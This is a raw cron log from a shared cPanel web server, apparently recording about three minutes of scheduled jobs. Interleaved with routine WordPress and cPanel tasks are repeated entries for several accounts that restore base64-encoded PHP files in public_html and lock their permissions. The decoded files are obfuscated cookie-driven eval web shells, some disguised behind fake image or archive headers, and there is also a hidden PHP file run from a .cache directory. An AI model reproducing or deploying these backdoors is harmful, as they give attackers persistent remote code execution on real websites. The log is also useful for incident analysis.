Mar  1 22:42:01 medusa CROND[32762]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:42:01 medusa CROND[32766]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:42:01 medusa CROND[32767]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:42:01 medusa CROND[300]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:43:01 medusa CROND[7911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:43:01 medusa CROND[7912]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:43:01 medusa CROND[7913]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 22:43:01 medusa CROND[7914]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:43:01 medusa CROND[7915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:43:01 medusa CROND[7916]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:43:01 medusa CROND[7917]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:43:01 medusa CROND[7932]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:43:01 medusa CROND[7933]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:43:01 medusa CROND[7935]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:43:01 medusa CROND[7937]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:43:01 medusa CROND[7938]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:43:01 medusa CROND[7939]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:43:01 medusa CROND[7942]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 22:44:02 medusa CROND[14830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:44:02 medusa CROND[14831]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:44:02 medusa CROND[14832]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:44:02 medusa CROND[14833]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:44:02 medusa CROND[14834]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:44:02 medusa CROND[14835]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:44:02 medusa CROND[14836]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:44:02 medusa CROND[14841]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:44:02 medusa CROND[14844]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:44:02 medusa CROND[14848]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:44:02 medusa CROND[14849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:44:02 medusa CROND[14850]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
